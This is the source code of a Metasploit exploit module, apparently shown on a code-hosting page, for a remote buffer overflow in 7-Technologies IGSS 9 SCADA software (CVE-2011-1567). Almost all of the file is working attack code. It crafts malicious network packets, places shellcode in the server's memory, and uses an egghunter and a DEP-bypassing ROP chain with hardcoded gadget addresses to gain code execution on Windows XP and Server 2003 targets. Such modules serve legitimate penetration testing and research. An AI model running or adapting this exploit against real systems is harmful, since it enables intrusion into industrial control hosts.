Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info={})12super(update_info(info,13'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",14'Description' => %q{15This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying16a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,17a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,18which results arbitrary code execution under the context of the user.1920The attack is carried out in three stages. The first stage sends the final payload to21IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command22so the process can find a valid ID for the Rename command. The last stage then triggers23the vulnerability with the Rename command, and uses an egghunter to search for the24shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to25the small buffer size, which cannot even contain our ROP chain and the final payload.26},27'License' => MSF_LICENSE,28'Author' =>29[30'Luigi Auriemma <aluigi[at]autistici.org>', #Initial discovery, poc31'sinn3r', #Metasploit32],33'References' =>34[35['CVE', '2011-1567'],36['OSVDB', '72352'],37['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],38['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']39],40'Payload' =>41{42'BadChars' => "\x00",43'StackAdjustment' => -3500,44},45'DefaultOptions' =>46{47'EXITFUNC' => "seh",48},49'Platform' => 'win',50'Targets' =>51[52[53'Windows XP SP3',54{55'Ret' => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll56'RopOffset' => 68, #Offset to the ROP chain57'Offset' => 500, #Offset to SE Handler (stack pivot)58'Max' => 8000, #Max buffer size59}60],61[62'Windows Server 2003 SP2/R2 SP2',63{64'Ret' => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll65'RopOffset' => 76, #Offset to the ROP chain66'Offset' => 500, #Offset to SE Handler (stack pivot)67'Max' => 8000, #Max buffer size68}69]70],71'Privileged' => false,72'DisclosureDate' => '2011-03-24'))7374register_options(75[76Opt::RPORT(12401, false),77]78)79end8081#We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before82#triggering the vulnerable code path we're trying to hit. Without this, we'll just hit83#"FAILED renameDicRec. ID not found %s" (logText function).84def add_template(id)85buf = ''86buf << "\x9b\x00" #Packet size87buf << "\x01\x00\x34\x12"88buf << "\x07" #Opcode89buf << "\x00\x00\x00\x00\x00\x00\x00"90buf << "\x01" #Flag91buf << "\x00\x00\x00"92buf << "\x04" #Command (add)93buf << "\x00\x00\x00"94buf << id95buf << "\x00"96buf << "\x00"*3197buf << "\x78"98buf << "\x00"*6399buf << "\x78"100buf << "\x00"*28101102connect103104sock.put(buf)105106print_status("Sending ADD command to #{datastore['RHOST']}")107res = sock.recv(1024)108109disconnect110111return res112end113114#Since we don't have a lot of space on the stack when we trigger the overflow, we send a115#separate packet that contains our final payload, and let egghunter look for it later in memory116def inject_payload(my_payload)117118buf = ''119buf << "\x01\x00\x34\x12"120buf << "\x0D" #Opcode121buf << "\x00\x00\x00\x00\x00\x00\x00"122buf << "\x01" #Flag123buf << "\x00\x00\x00"124buf << "\x01" #Command (ListAll)125buf << "\x00\x00\x00"126buf << my_payload127buf << Rex::Text.rand_text_alpha(1024-my_payload.length)128buf << "\x00"*130129130#Packet size131buf_size = [buf.length + 2].pack('v')132buf = buf_size + buf133134connect135136sock.put(buf)137print_status("Injecting payload in memory to #{datastore['RHOST']}")138139disconnect140end141142#It's definitely junk143def junk144return rand_text(4).unpack("L")[0].to_i145end146147def sploit_rename(id)148#Egghunter is used because we don't really have a lot of space on the stack149#to fit the ROP chain and a larger payload150eggoptions =151{152:checksum => true,153:eggtag => 'W00T',154:depmethod => 'virtualprotect',155:depreg => 'esi'156}157158hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)159160#depreg (Put VirtualProtect in ESI)161esi = "\x81\xf6\x16\x1b\x5f\x5e" #XOR ESI, 0x5E5F1B16162esi << "\x3e\x8b\x36" #MOV ESI, DWORD PTR DS:[ESI]163164#Put depreg alignment165hunter = esi + hunter166167#Send final payload first, and let egghunter look for it168inject_payload(p)169170#Max ROP chain size we can use is 406 bytes171rop = [172:xchg_esp_ebp,173#0x59ABA24B, #PUSH ESP # POP EBP # RETN [dbghelp.dll]174junk,175junk,176junk,177junk,1780x1B76A59E, #XCHG EAX,EBP # RETN [dao360.dll]1790x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]180:add_eax_100,181#0x1B09FA13, #ADD EAX,100 # RETN 0C [MSJET40.DLL]182183#VirtualProtect Argument ([0x540214])184:xchg_eax_ecx,185junk,186junk,187junk,188:pop_eax,1890x3BABFD6D, #0x3BABFD6D xor 0x3BFFFF791900x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]1910x1b73f3bd, #MOV EAX,DWORD PTR DS:[EAX] # RETN [dao360.dll]192:xchg_eax_ecx,1930x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]1940x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]195196#Retn:197:xchg_eax_esi,198#0x1B0505C1, #PUSH EAX # POP ESI # RETN 4 [MSJET40.DLL]1990x1B8260DD, #ADD EAX,20 # RETN [Module : msjtes40.dll]200junk,2010x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]2020x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]2030x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]204:xchg_eax_ecx,205:mov_eax_esi_pop_esi,206#0x1B03AD44, #MOV EAX,ESI # POP ESI # RETN [MSJET40.DLL]2070x5E0B1902, #:depreg initial value to xor2080x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]2090x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]210211#Shellcode:2120x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]2130x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]214215#Size (100 bytes -- enough for egghunter)216:xchg_eax_ecx,217:pop_eax,218:size_xor,2190x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]220:xchg_eax_ecx,2210x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]2220x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]223224#newProtect (0x40):225:xchg_eax_ecx,226:pop_eax,2270x3BFFFF39, #0x3BFFFF39 xor 0x3BFFFF792280x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]229:xchg_eax_ecx,2300x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]2310x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]232233#oldProtect2340x1B731395, #POP ECX # RETN [dao360.dll]2350x1B82B410, #.data section (WR) in msjtes40.dll2360x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]237238#Align the rewind part2390x1B829E86, # ADD EAX,0C # RETN [msjtes40.dll]240241#Rewind242:rewind,243244#Execute2450x1B72A833, #XCHG EAX,ESP # RETN [dao360.dll]246]247248#OS specific gadgets249rop.map! do |gadget|250if gadget == :xchg_esp_ebp251(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223252elsif gadget == :add_eax_100253(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3254elsif gadget == :xchg_eax_esi255(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71256elsif gadget == :xchg_eax_ecx257(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D258elsif gadget == :mov_eax_esi_pop_esi259(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735260elsif gadget == :pop_eax261(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169262elsif gadget == :size_xor263(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D264elsif gadget == :rewind265(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741266else267gadget268end269end270271rop = rop.pack('V*')272273sploit = ''274sploit << Rex::Text.rand_text_alpha(target['RopOffset'])275sploit << rop276sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)277sploit << [target.ret].pack('V') #Pivot278sploit << make_nops(12) #Padding279sploit << hunter280sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)281282#Create the packet with our naughty payload283pkt = "\x00\x04" #Funky size causes overflow284pkt << "\x01\x00\x34\x12"285pkt << "\x07" #Opcode286pkt << "\x00\x00\x00\x00\x00\x00\x00"287pkt << "\x02" #Flag288pkt << "\x00\x00\x00"289pkt << "\x02" #Command290pkt << "\x00\x00\x00"291pkt << id292pkt << "\x00"293pkt << sploit294295connect296297print_status("Sending malicious request to #{datastore['RHOST']}")298sock.put(pkt)299300handler301302#egghunter takes a few seconds, wait a bit before disconnect303select(nil, nil, nil, 3)304disconnect305end306307def exploit308id = Rex::Text.rand_text_alpha(8)309310res = add_template(id)311if res !~ /Report/i312print_error("Failed to add template:#{res}")313return314end315316sploit_rename(id)317end318end319320321